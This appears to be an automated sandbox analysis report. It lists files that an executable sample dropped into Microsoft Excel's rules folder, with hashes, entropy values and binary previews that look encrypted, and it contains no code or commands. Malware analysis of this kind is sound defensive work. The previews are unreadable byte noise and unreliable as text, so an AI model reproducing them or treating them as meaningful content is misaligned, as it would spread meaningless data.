Preview:	<?xml,'...^..b'....H4h.....nGu7'.i.2...5.2v.^.L.....\.RS'..<..V$}..qI)kx.LE[&.s...A.:I...3...Z..$....<..L. }\|.C..2....uY.0..3..l.^.R-..k.uW.Y.n..^)`Y.shq....Jd...xE....T..Nk...R_..<......i....o........F^T..c.....P....g...d..../.40#h^.g.E.M......p.q..)..Z.....e.S4.JL....}&.:..br.._<^a.oZ...`1..M.\... .....Z .Y.1>O..%Q.n._g[..j....lZ_.0reG2..V.....8P..ji.g..XE).nM......sk..w./J...+.....S.o....7d.WE...n.q.1..q.i...0Sd...p.&c.Aq&....T..{...?/3..e....lD...g.H..m..-Dg..MV......`.....<.+.ieFRe.......F.3...$..=...\.A.M.....8[......T..\.j..s........f.........5..Y.Y..4t.)X@.3...#w...._n...c.....q..=.O2P...2...+V........T.O-x#.94..........Am>.%..._]a.....i.T.?oL.....\|..^:.3m..u.}>.>..Q.q.....k.nV.u..K[..2J"ch.....eP.....i.od.......p6\|kz..}.`....&.\|.].....6.!T'.......Gsi_\|...6Yi....q..O....D\.P.....xxw..i..........z.cr..g..Z/\g.........8\|....?.q.j.^.M..v...t.y....V*.m..P7#..M...r.....J9.kju.....x.j..;.....]....L...c5....S.[...K

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule325001v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2318
Entropy (8bit):	7.906624801979364
Encrypted:	false
SSDEEP:	48:ze8Z4ftWxgUlOQ7FfBN5K016NKg9TaEBTZvnNssbdvKaabD:SQoLUlOQDW016NBT3sshC5
MD5:	C2FD535B7C4E7D1F94D437B022EE1E73
SHA1:	39453CF02FB31F0199064196235D710D21BA0F42
SHA-256:	11DC90CCA31D4236E96F5EDEB102323DC4B2BDC1EFAADF79A934F8530BDBE6B5
SHA-512:	B40F8072252BE5969E4DA1BE4C074F0A84CBCC16A24CE7B4A2F391A1B801709A394F2B1B3ABEB9CE2383D5DC45DD21FD42C0F44579FE53CD3A7196CB935292F8
Malicious:	false
Preview:	<?xmlG..b9......eV..R9.....xp.....8.7..q...A. .m...{.'H...x...5[..4!n.^....vkP..4.@w.&..^..z^.o.].2S.m..re....J..SC.!vjT...MHE.iG\..2o.h."$sN.\.k..."....3..l.tx.<.=...[..=.Y.....Q.Z+.E!.>.,.........W..b.S...1\|...o..K ..}0u.>..$.@G\|...0..\..y:..>g....@...o........Y...]....Q#V@..E^..r.....0.g0..!.@Z....P..x..'xR......$J......;...q.Xo..w.{..%.j......8....R.&..u}...0...@..i.;...^@G..c...74..($`.r..%...P.\|.zc.....^NbX......L...e. .?./...D...=.....=.,...~...H....."..U@.71x.T,].br.\........... .......\ E..SD..L.#l...c/N.!...pz.#C.Q..X.=F.;.9,.'......Z...]..CK.I...B......W...o;........mW\.a......k.#.^W..=...\|.%..@B.....?X.........;....(..hl.+........6C..D.P...Z~A#.,.k..,.....TQ{X_..e.h..y^....a~......8$..u\.-l.Rr.....5Ie.g..1..U.%.=..!.L.P...X.?...w.]..j.J....7..J.......%......[....U..4.g....S..~....n.u.........c...W7.!.z.l 4....6e%a6w.].... .......1.X/wm..5..4....J.\C.0WO.sdZ\ld1.\<.`r.O.._.wd.....+2.Y.MJ..iU..mB..`..2...7.I__].yw;K.M...A.'..v.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule325002v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2388
Entropy (8bit):	7.91235373578502
Encrypted:	false
SSDEEP:	48:BRv24DbzatU2RZEpTGozBUgE8v6snOHqEuYir0g24JtSVBwb6k2zVL+pnou5ZD:BROcGtU2PEpiotUSSLHqEEV2AoBwb6jG
MD5:	525B335EDEDCE140FBAE51DE3E84B8E1
SHA1:	8B1E9F1BA883ABFBD6DCA2EDDCB481C858CF625D
SHA-256:	1F5D69876B64AD333051BC2353B26974E1C0584A4A0F8D8728CB02EF20748F51
SHA-512:	D4EC7B157CE7A25D8C6F6C6C9BC74EB7C6D463BFD8B1C94C3128297311B22A35F31DFED3FF948793B5F55F6EBECDD97B867D913931421CB372A095B82DE900E1
Malicious:	false
Preview:	<?xml.;./...6.;+....g..X_.~^..j....U0{...G......BO.g...9x..pK}..uH..rs..=s.?...`.X...go.$iQ....d.k?..L..R......'.1.z..^5.k`2....n...I..?..s.N.KU.kj....,..J=...e.(....i.......j,..$.84...z....J...&BB...Wn..T'a.W.....K..ZS9,...l....K......1..>.Y......-&.5o..M.\|....c%.uw.!.P..d....~...c...m.y. .W],H..R^.78.JS..-.q.G...S.#...lu{^...H.@j.c...l.........#..E..r#y\,.-].6.a.[_{.h)........~...Dy..W)..Qd..h.......%...aRW.R.V.........8.........V$GU..a.s........F.\....s1...^[.O#P.M..........<..P.k..g.o.L.LT./.VJ.>..W.Avr...g!.U...L......h K4,$.u].<.G..VD.0..)...:....q.>_.u_..$.Xc.....J..p..:.......K^T.$.'.#?...s\|..9.,BIO.A%B..N.tU.~.vxh_.E..&.rE........=..H..?".t...h-P...,..b6...............h^%.....Z..J../e..]%z$....N.Z..@....!...X...#........R..q:....c.;.4.}.Cs.`.....'..+.i.#.6KU..8..<...KivG)...<>.~t.....sk.SD..,.f../..=I.;...bJ......e9..~N....np.*<.)SX......U]..I..........N......~....3....LKKP.f{../...p..b......1t...M.q.X....6..K$..Lp...c.X

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule360000v2.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.84592417295468
Encrypted:	false
SSDEEP:	24:VVVftdfwGVRwN3yYkBsWk3QROHQSZyeDK5abI2ftcB6EUbD:VVV1dhVe3yYkBsWkgR7MKjEbD
MD5:	C6DD3CAB44C642670524BB346E679CB5
SHA1:	F8D7DBB0378311415599D9AE430599065080572E
SHA-256:	3E6D581EAD57250784214ED2F76287EAD792ADECAF3A8718551BD9AEAC7B4841
SHA-512:	8C97272C9C70AFD6FD6548631643B9F187C825311CB05D57814F30DB813E891F1DCDB60D5A0B6567B7F93C5536275CE1D10D156B28C71939C264F9EF7852E255
Malicious:	false
Preview:	<?xmlp.f......E...tP&d.T..m.....$1...fH..;....M..sk.0.C..s.!P..[.z..A)..~...,.........4I'..Ol.%.vE%}./..H.-...Yk.g5..'4...D...V..\..{..%....{u.;XJ5...7ZX..........L2..-H.76q....c......R.?#..6.....U...w... 5.D.......V...I{.o..@~a..0....qD..P.8..........B@8.$......C3..Q%.S.R=).M }...g@..(..t..g..Sl..!!......i...A_...UU.S5j.......)..~%V..x3q..{i..X...6.k[....M.y...!.<K.8?...;.~.....K-..h8.H....9=Z..c.mc...../2Z...s.j..u.6.me..T....B..r.....,..N.....n.O...N...$....U..o.7..%.j..Hq.f......<.0..D5......M@....Bv,>...j.Am...L...]-.6.}.1.is.T.N..(...}.._.6.;.B....n.8.....\L...~..E.t.c...!>2..\|..\|0:>&P...D.zx..1...f......z.A..j.......K'6m..k............\|.}c.....x........gz.(\|."..T.?.0C.k.y.~.>4%.. 0..K...}.F..V^...(z`....?.*._{.. ..Z......,HTiE...M..VBk..$....J.oG;l.p:.R..../v2...e.....Q.".;...W9{........^......w.......'../f........>Hg...Y.x...B..7.mP.KhQ.YNq.O....oD.s.z.&T.C..{........IG.....:.p0D....h..].x.g4K.....{z].OQ.3..1...?pa).;o...6>

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule360001v2.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	771
Entropy (8bit):	7.692236882316046
Encrypted:	false
SSDEEP:	24:/ZqTjv7MM4FhbUE330jDOXsPpkxMZyvJ2GigXgbD:Bc0hUmEOXWp1cvJL6D
MD5:	FAA937B7F7BFBAB0156AC520ED52B3A7
SHA1:	6059D6D68F152A2B03F5914B43565350F981DD4E
SHA-256:	6F0A4A2349514A6C76DB00A98B1B0EEBB34F6E2954E09CD68AD9E84C267D36E3
SHA-512:	180162D58E4CF882185EB12CCFC01AF1EC7D36A98BFC1C63828A9C81FBF8483F4ED8FA117FED26C807FE16D66CF16DCD81CEAC37ADEF76D782A8821F55EB700A
Malicious:	false
Preview:	<?xml..m..Z....J...%.5.".cX.i.x...G.k.....g..h.+..?..C9...v.......$H..pq......:...\|..9....4..,1OU.w.-...u.. .H..E..Zy.q.B....-....!.+.oM../..r...%~.&.=.mb..K.H....aN.eg-Fpi^M.KLl...h...[..U.m.....TN....m.`Dm..n,..&.l.....[.;.f....2...7.f.;l.4a.L....N..J........k....k..bE.B..1.M..Z.....]...H...n.u....Z..61CF..Z..s...v.[..>d....?(.>....Yj...i6R.O..l...0.F.$b7......f.0.0E.K.1..Z...h..cWz.\....$.=.sx......z..,....v.uL.).d...R....!.i.{<.....s\|.fh@}.e..Xpv..R..........P.$.!.....P.....lf.i.kEa.<....Y.#..S.......'.....F>:z..o...i..\|<...8..s..s...K..'7..#.`.K....zP-.J.i...qb^O<........s..Vd!.T.[;..o.`...z.'.B.f.5...7.bnTk..OP.FE....s.......9...?.l.g.4....J.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370000v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	863
Entropy (8bit):	7.751154569004338
Encrypted:	false
SSDEEP:	12:tccEd4ADrp2cMBL+v3T6F2zOc+eENyQ2TjQ1yeqnFtYjHAhICaQPM+TSYcii9a:tccExewD6yO6DQ2TXFXaQPj3bD
MD5:	F2CA37D21115044A814F3B93316971A5
SHA1:	B30CF295763718DB02AD120BD7A38A88DDDEE0F6
SHA-256:	DD3BCBB8B7DE46858E00B1B9FD32F5281C4B58DBB39879082432428951FDD9E6
SHA-512:	FD874C599EF23CC40587C0A4626D3BB853C0BFD0208B7C2D918867A3499683830C3D53354D78D8F29C085A7AA7DF1DBF70CCC7EF0483285F8E4DA0F139209B2F
Malicious:	false
Preview:	<?xml..i..l.Y.........\|...-.D..Y.b.. ]+V......4.0.WxeJ.l..Xa..?.BD.H.....q.c.....m..,W...Y)...oOXH9.d..V..k..E..O.HaN/..Nj-....4..B..Ds.o7.W.VK...2.W.Tf.......g.....)..y..g..... ........... .P8...h2..w/...L../....+..\|...<y..Iz....i@D.(.3.E..r...Xt'....U.%...42h.........h,......q._\|m.l.Ta~.>..G.X.e..u9...-.@Q..]n..O.'....A`b..H...0-.Y....+...%....i.....I.d.C.....lAB....+)..5.#'OO..E{.pj.$........x.n8........ h{...0@....C..Z.....i0IUK..I..Vru./.P...e...;1+.9.o.....)..).{ .T.".jn..^.....F.=.........y.(...e.)..w...J.SI.m..Y........bsu....k......c~W..m....N\./.L..X.F.<...............h..%....r.=.b.....<....1..K.Ge/......s_..y..,.......1......C..U..D..........?..fM...X.Q........d......?..l.B.)O2o..D@..I..}#..8..D...f..z...[..z..l..(.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370001v2.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2604
Entropy (8bit):	7.930553513137288
Encrypted:	false
SSDEEP:	48:iwp2ibTHYV/rfHx4Tk7JEUbXajNRJZWDxBna5swnreZgthnvFxmvncaD:nfYTfHafYajsxBKRaZ0vFxmfcy
MD5:	1056B850A30A3FB8BCD2A94FE4AE2D69
SHA1:	C901D7B26E727FBABA9637131BA7077C14DEF0F5
SHA-256:	51AE97C30112B64196CB0B10F8FD8CD2F4AD5741DF399BD051018ADC0FC8F63A
SHA-512:	512FCD00CA39E90462DA4ECE968435ED5E2A15624B9A18428D461706BE0991B0DA8BB49C9C7FF4CE0AB876D63E9D718F9C6CFC083E7F3D8BD627983046FF863A
Malicious:	false
Preview:	<?xmlY.U.M.Q..64.....=.!....{../.1h........k-.A_...Kv.."M."l.U'.'.z.A1.....cp.di.....j..n..c/ubj.P.{.........M......".q..c#B......m~....xI.....q$../^..).K).x.S.........?...s..".A..Y.....R..#..:'^.=.O(.R.].w.p.$.C/v.SFY.C.1.E...Dk.n......ph..t......"..U"..)XXN$.Ki..B.....(.H.t..p....+. . ~v%.X.Xk.....,B...v.....~......<.+/.".r.?.7.\.../..q0FS..i..g....._...+.....K..E........G....`. ...(."...2...H!.....--r.c..,....u2...&.H".."b<C;Y..\|....XU.;.=..z.7....B3.%.....v..v..:hn.u.:.....D.\.)..k.n..C.....}...o......M.8.=.eS..NCV..............J.."....+...Z.W....B...... ..0&.#.... 3...NG..!y..{.!.....k...c..\|oRz.?in..aE.....m....\...+.E...S2..he..L....0.(.k.ar>v.5.....j.4"6..}.r$.j..u......%..o.n...O.v..YT.}I......>..f.6%.\......^..1Wkza..$K;[..t.Y)..<....3U. ..?.#..y....%.0.>.d.%..!...]..@8!..........7.XN..s....^.Y...?.......n.&}..+.j\..1-M.#i..7...z3e..\.^IE....+.{t.`{x1...Q.6.8N..@.uF..k..*.uy..../..,;.#^B.......9.`..R....<.f..p.%..Co...#)8.._.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370002v2.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	6109
Entropy (8bit):	7.969655289418833
Encrypted:	false
SSDEEP:	96:sBsIAFlFvpQkpK8IDP1xuTOTfL/9gzKwx7XlUj6T8CxNcHs7CeTDTkkKbYC/fkjZ:svArglhxuTOXVAvx7uuThxFr/KbEiTun
MD5:	FBA7EB23895279830643693465B1D598
SHA1:	C06560B70344151FD4C0E5D16A948F0EA8937C39
SHA-256:	86F87B3FCF9E5B123C9DC844421BA2C039C32BEC131BF50723E4F35F9400E689
SHA-512:	9ADEAAA516F8813490CBA70F2CF6D42CB10F2B4068DFE9D8215A7265CA76EB09367604D02210AE5A32C5AE08D21AC2402043EC57FC7B9A11FDCF6EF3DEC6341C
Malicious:	false
Preview:	<?xmlp..:cV.=....."..7i2...-.~....+........N}d.....~.$JT....p...u)2....2v....M..h.\|+s3...=.> 5..#@...`k...-.#..T.khv..z?.....U.\..@X.KW^..T..Qwh.q..u_.m..\#.<.).yjn7....}..%}}..-'.c.'.....i._.CT.Z.R.....1D.s...M..X.G..#.';...NH5....~\|.m[...R.(w........'.N..:...H9q..K.F. ..u..........a3O.....5.i..:..Z'...E............Ob.@..I1...5O:.....q}o...3.f...k.b.q,..+..$.)7.).....P..r.... .....y.........4.o..TK....U.9..._.......b.^.%........A.6.aa...6...(.....'.K.........Wh....&.f..9....J.......q>x/.K.p..:.....T.....3...T.A9.S...-....N..._..bQN}.9\|.A}.+..\|..p_...e.g.p$K.w....9....R..],.y..:J.J. 4.lU.E.............!.-.h.t...L,2.\.N.....h\|.......y...$Yi...z...9.5......`.&~...1.2Vq.%.~.C..?....9H..]..b.8...;.3.l.6..n.......B....0.....e..m[.bo.....^.S.......B..jL.t../..?._=..R.`...k.L1........i....Q[...v...;..w.C.UB......:..Q,h'?...fm........q $..X.Z.ic.3B=......d....@I.i.m..5,\....E.].;P..{..}.....:...`.j.....Gn#U...x.v..VN.....8\....8..(.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370005v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1454
Entropy (8bit):	7.84785870266344
Encrypted:	false
SSDEEP:	24:IKCv+GKdkfhQ3+53Ew6mJw17UjqNOLN3XRJPCe7gyis6k9xBRpJ/bD:Ix+ZYSuxEw6ImiYkRF7PEuJjD
MD5:	65ECCA0A45021B18F1E5788E3CDADEDB
SHA1:	2F9E01CD88271EE8FD0071FCA002FC0CBB8C0517
SHA-256:	3A674489C5859166A7D18E58FBA4FAF201663BABD252A18D82C17196E4AF25FE
SHA-512:	06D3C87C25480850996F23CC7F84CF32BA571F927E6832DE45F7E63975902DC6AF511B778A4F00DFC87483B4FFE83AE492052EB82C4167BF0BE8353078CBC8BA
Malicious:	false
Preview:	<?xml.12j.O...Sm..\|.@\|...R.u.i...\..q.l....T...Ei^.%...G.1`D%s=w...\|..vH.?.!.O.E.d.......6....~{v.T;DmA..p$........H...d.Ow.....R...Y..e.X......)..+...a...U....UsO..Po.o.\&.....$...+M.Og.MV-.xmjV....$.F..V.W..Z...0.K(2I..nsJ.....h.N=...3F..."...^......1E;.;{....^...4i.pZ.F.S.<=....9Mn...W...C..WG..3....W.{7.s/...3.J.C.GV"$.....;Dx.....}....$7K...wr.^u"...Y.".].{..].@R.P..x.]k.............\G...+..<Xf..t.6..I.A......h..P..k.a...j..KSn..,>..6@%.H....<....]....J.N.....5..._...Y.K4..t../.j..`.Y =.a.R..SLD....y.....a.p..+Dn.~..m.B..fz..f!.f...^x.R.'....1.zF..........cX......y..(.......4.......1.K..S. ..T.4/..c _...0.y.C...d=.m.\u.VjFN...S.i.....&.c.AmMr..8.E...j.YX...T=.....#..L.Z.J...p7..i.G<8..8.w..v...C.`.t{.6r.'"...%H.))1..HF_A.i.1....%E......l%9.... .G.\v......kK.X.(pLu...........k.j....".HG....C..z.E.+U...s(.f."E.....o.V..Fk.Q..S]...U..T..EcSK.Z.j.^.y..a`.'6.....3....003.U..k.....7.5o..,...BQ.J..Sus..C.....K.'...2&..D\

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370006v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1120
Entropy (8bit):	7.811549513081922
Encrypted:	false
SSDEEP:	24:aBz1xly4MYwF8CD/aouYheg7f6UMQEDlE/mFU0XLqnu+nw4tPw9V6wx2p+bD:0Rxly4MrF8zqLIc9Acu+5tPwj6wx88D
MD5:	02B93AAD0B20DCF17DA5FE84A1C38FFB
SHA1:	CF339ABA247AB978304361F4380994E540730838
SHA-256:	12DB28B35757C5A598A96C0A555BF0BCB8C3AA4658B39942DA71B26784E28193
SHA-512:	3C502E9B0158F3B2BA1B67E0DDFFACD8AB60D33A1B75158941DF5C34C4F580F6ED7AE971A1A04A8E2FABAD995C6A5ACA90D37F3E1EE86CE9814B63BB903B80F4
Malicious:	false
Preview:	<?xml.(L.Nm..1.....`S...\|E.1\|..#./.~.]......(.....A..mo8.S+...4..v.2N.Y.L.<.)...v:.(DG........Z..\|U.8....I.q..3...]...)..>.....`.O......Nsp.t.d`q/e..l...........vZN.._.'.X.XS.....H9.G.P..o....%........$70..a.f.A..>...#..M.H$..5...3..-....g.;R0.Cql-.Y..h...!V2.BP.$...J.p..!.f}.Pd3:W..Gs..AWd.i...`....>w..(.3..s.r..<'.../;.p...~...L....r.V..J...a.....O..5.HR.b.K...\E.....h.c.~..J.....zTd.....W%..;......&...A..!3!..H!..(%t.tX..."n.!M.n..>.03I8S....0..{..E......1.....A..by(S....v..b.~".a.Ns.N.$.{9....D.0R[......4Q.#..8L."......W.D....>..(......s3.N..0c`x.{.nQ./.....eC....f./V..\..$...8.L..0....0.!....`.0p.n.e....)...ZK`D...Ru..&.%...W$=#E1.Da\.V.hB..i...(R.......!......ekh.m.&...R.F.9W......C..z....'...'..i.m...Ux...]..J....l..t..r.......<.c.~..L.k{s........W...m.....-..H.I[._.o.O..s-.......[`+z.....kf[...{kID.e......s.../.).q..u......f2%...]..6.-.....#.....z.E..iob]..i.......z..GI...".2....&...{..].j....,...W.'.........(_....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370007v3.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3678
Entropy (8bit):	7.948203432584441
Encrypted:	false
SSDEEP:	96:LgZ+Mmc/e7jjCUd5ZDA/vzrncRfTxffA53NwF1kHciX:K5G7vCg5dyzLcZTxfg3NweBX
MD5:	2991BC68F9C56A25FA4358268B7D15D7
SHA1:	B3D9E148BC96BA94CF2B862897BCAF60B1DA239D
SHA-256:	C2C4B18AFC967E836E3630E5A4E5AB3A6901D64A8BC1846BB80604682D0FF91B
SHA-512:	01350C36F0BDAD16260278FA9BBBF34E9F2EB8F2A39D39C4880D4DBDA640C2CCDCA745FF8A19693FC11243B39C0A90FC0954A1B42471D2EE76CEB8DA25F8D1BB
Malicious:	false
Preview:	<?xml.]h..ZG..x....?.X(.}.I......Q..z..4q9s.j.W.+]..x..;g.:..ig..u..z5..b....%.Hl...7.@..M.[r..R.........2<..#.8z.(.:.b.(\`.^-_.n......zY.?....S..M.N.%.Xq..g..]JQ.g.....YC%M.........<..)WM8'.uL(..;)......7.W\F...<.s..?@j....h..:..[...3xa...mq......P..1...E.Dy<.z...M.,..]....p....WJ..B..0c.......B.... "db..[[.I.....rn}#!}-.....=..%T.....u.....2.z.5M\|$D0...Q..o.2...B\'.7..J....>1..M...c.F...K...>.'....~....~H..S..{.foix.r_......5].)v..B....P68`>=..m..x..UJW..Uy....&..j......#w\e..6........z..C.e1#(_l_......?.y.IP...^..R=.aa......R%.8HN.....D.P. .gGG.9gq...=.G...'.)P.-7...R..+D.......M~.dR...nk.q......5l...]..~j.C..&......B........../............e.TS..KK.5.S../.8..4..frG.=...:.h@..]v.h.c...M..Z.B.y....j5.O..OJ.z..=.k.dF...C..P&'.....%./..{.Bu.v.D.H.!.$0S#...J....#q9?P...0&....*)E.x........&QR...[.>..x=F...`~.........1..8k. ........8Vea#/<...`L>.1)K....i.S........Xi........9.....j...':.G..........1....:L.ih.s......D..8...?L('.......>

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370009v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	7.779090081220424
Encrypted:	false
SSDEEP:	24:F0KFz9DARfV+3AvfsZ4q5VsZ8F1U8FwYTQFfM+wn0RQcRPbD:FdFztOfV+wHsGqy8FwY40Rn0RrTD
MD5:	18AE2AB175563397C51FF516236378D5
SHA1:	43A86FC41A4E4C5FDD499D3956B65F04AE025AC3
SHA-256:	6BC554304A0257E34EB45FF227EEAA9B8AA9490D2ACE4BB3FA76CD2456D64AB0
SHA-512:	92923210337F0930A1AC9D3DFB35903BB19F0DE464445B6091A62C92871BE517384BA9E1DD84CDFB490F4A9894FA521A2E56748322B054EF30F93BED8A738E00
Malicious:	false
Preview:	<?xml.a...W....~~8}$..y1.f......U..$.....z!..Ys..!..-.A.D-..U.{,..i.\|....u..........c0..j=.....H.'..J.."$u.. `..\.BeE.b.Hc.,];....N5.ZD.@CF.O..T..[..9.(26(.....Pf...;..x.'+JV........?."._.....m.F-..Mb81.+DP+.O.....<.0..-~...S...\..h.M.....n..`..D.[Hh..-.!...&c...A1(..I#.1.....am.t...%..VL..........$..s...]X`P...r.}..0..g........I6...l....e1.....>..kTWwe@...,.1.[.l\|.e.E.{.3.j...0/BD..!.`A.kD.......TQ.W.4.0./.w.....n.X.>.eg./@.."`.ST1.?x$e......$..]9.X.Jn....hl.q\].!\lm..G...$.L.....a/UVA>..M....._.:W...,q.#.y....U.R.X.....&..x)?c.L.}..Ja.O.R....4..}.D-..8.H<.........!6..6C.M..qE.."....&....y.L..Jo.D.DwA.~...O....R....R.qviO#......!69......uT._..P...X._Q..9....&..8..]%....Ua)........cNGT.........$..Z.......$.k.=..p.\|p..)......X...B.`P....V*.........=.'y.o.......s.bZ.B'k_e...\|..X+F@..e..$...+.t....T..Uu.n~...p....)..O...k..w'.?Cn.......GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370011v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1191
Entropy (8bit):	7.853866876997092
Encrypted:	false
SSDEEP:	24:2Pvo56s685+qvMbT1Mzx2my/NwPz8OfbhDFyEPweYnn6CIlwZKfqdWpVYdoxLy4Z:2WLLWWF2my/NwPgwLfw3n6C5Zv3olRD
MD5:	5239F26D165008ECB5EB88BAF7FAE3C2
SHA1:	52A98C66CACF28E4785905AA12A107AAAEE573F1
SHA-256:	1751FCAAC94483CD05512767F1B80D0266659F03B268CF2F72A90695586D1574
SHA-512:	86F64B6FAE8BB79098662D5BFBF46757A739598CEED93835DA0D72B4E7BABC5041FF5FD0AB1C5F6C63FB3285038712E55BD9BB2B2EAB0FFF650DA21C97F859CD
Malicious:	false
Preview:	<?xml3<..+gu.qYh.:pkdI.}\|.~.....Op.s.......[....T....4&&C..m#.0.Z..{`2K......p.7.(4:....&..w.u..%H.P6...%$k@q .:..l"...??..e&_f....f...13P.J...E..;..f..Z.>j.L..b..:Zl.h..Q.F....pu..A..8....X_b..H...TV'yI...r......J}@s$........r..1....v.}....l...M....{lQk8=oR.e........Z.O4X...=......S5..`.-ZK.....x.{"k.3.8T..L...i.x..2a.Sl.8....!fb^5..^J.-@\|'Rl....[.......K..?.q.Q,...>Kp'..J.../... J.."Y./Y$....oA.......+?.._..+E*.....ds......[....q...S..u.k...C.....s!..([..[..&.D."..#...!.<..;&t:.. UU..)x..6.+?....F.&F........UGH...z]...~....S5..md..W\|...@..y.I.u2..Z.7.c(...Eq....S?.#...\RL...y\|....<....#_F..~S..%{./..?.l..;........&.3..pZ{...d..~..0..s..V.?.w...zm...N..\x.....~......p.X..w.....\|s_.LW.......ePWB.H7.....qi..F..$..]S........up..?..Di...........r...... ..>...;.....6...W.S..zo..Z`..z.~....{...A..9......Qe...x..y..Y...;W'.%2.e...F..N}c.....6 ~#JK...\../...v..B<................S..^....._..K....{.UaQ6X...I.....x.....kRy,......@.9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370012v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	732
Entropy (8bit):	7.636912724906457
Encrypted:	false
SSDEEP:	12:vKVEo4W51Wo9atlez1Km1ilNP8VboBQEz+fw0JToAttlBIRXvoNaDE0dbkpLV/Hn:GKttl4GNPWoBQPw01oAfLIRAN2E0dbKR
MD5:	F7367C676882A187A5F6914B3E4C2E14
SHA1:	E35D7B24142B43392C229336103F68F73EC5BD0A
SHA-256:	698DE4F9D181785CFD17A5D59D065979EB0200E912BE441BDE8DE87D91532D98
SHA-512:	C86C8E3E4B7E25C4C7322B86148773C18BDCE6C169332534F75C33D3C452A72557EF3B224492D4C9B126FD8A303D36C805B229BF7F955A2FB7EA8C23BA583E62
Malicious:	false
Preview:	<?xml...D.........E$.a.l.....,.......8.".n..79.....S'B83I.a......3W=..5..-.m.<`.R.+x.&.BU.Ihj.e(F....W;,S.=,e....A. .me^.=...(#..`J.0....'x...E..A\|.qJ Ax..C...$2..8.....tI..A.@.......Z.k.L.}Z..D...X..US..yfbzQ.[:.../.Q.\|..K.)...:..[..,....\|2..$F......S..[.B......}.....o/?..N....c4...j...3...a.E.'.j.P.[.h$...."....n.....)^].lE..B.?I...n0.v04\..I..NC$.,.J...M.Xj........u,/{.w/.S6.....)e....8C.....t.k[..>j.OhS.._....S...{.:.....~.N....Qw`...=.%.9.....(y.UV...A.y....XX.{......1.lR`.ob...kd.4u..mhu.=u.>51{..>.K....%..!.....U...ex.l.....Np.%..'...@.@7..".d2.)..%&>b,....)..~PI3..i.Q..K:.c.oY.r.>..(..i..d...9.W.:t.J.eJ.=...GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule390004v3.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3616
Entropy (8bit):	7.945317665549638
Encrypted:	false
SSDEEP:	96:uQWcpIl4Ow4YVYNaoqkPcLcPIjix4aAAtW:uQWc9Ow5YNWQCix4altW
MD5:	C0D0BF96AD8F8B08014814D31C83DCFB
SHA1:	7F0D576BCE551E7706265231CB131F70369AE380
SHA-256:	712728418A5ED1D4A5DC68A9C3B9885E66C5BC7D18DE8ECEA0B02C06EA3415F7
SHA-512:	7A95AE1ED001FC09A36A0F8353AA0A1626B406A2D7CB21CBBB6052148686CAD6338016BAD60B3C6753294FBB26021321EB5B15C2DA406B509B885D53309BFD8A
Malicious:	false
